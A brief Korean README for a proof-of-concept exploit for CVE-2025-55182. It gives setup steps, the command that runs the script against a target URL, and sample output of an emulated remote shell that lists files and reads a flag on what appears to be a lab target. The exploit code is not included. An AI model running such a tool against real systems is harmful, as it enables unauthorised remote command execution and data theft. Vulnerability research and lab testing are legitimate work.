CVE-2025-55182

CVE-2025-55182에 대한 개념 증명 익스플로잇입니다. 성공하면 HTTP-POST 요청을 통해 원격 대상에서 셸을 에뮬레이션합니다. HTTP와 HTTPS 모두에서 작동하지만 인증서 검사는 건너뜁니다. 절대 경로를 사용한 디렉터리 변경만 지원합니다.

사용 방법

1. 의존성을 설정합니다.

# 시스템 전역에 설치
pipx install requests

# 현재 디렉터리에만 설치
python -m venv .
. bin/activate
pip install requests

2. 익스플로잇을 실행합니다.

python3 ./CVE-2025-55182.py 'https://example.notatld:1337/'

예시

성공적으로 실행되면 출력은 다음과 비슷하게 나타납니다:

╰─$ python CVE-2025-55182.py http://localhost:1337/
CVE-2025-55182 - PoC Shell
Author: Least-Significant-Bit
Hint: Type 'exit' or 'quit' to exit.

/app/.next/standalone $> cd /app
/app $> ls
app
flag.txt
next-env.d.ts
next.config.mjs
node_modules
package-lock.json
package.json
postcss.config.mjs
public
tailwind.config.ts
tsconfig.json
/app $> cat flag.txt
EXAMPLE_TEST_FLAG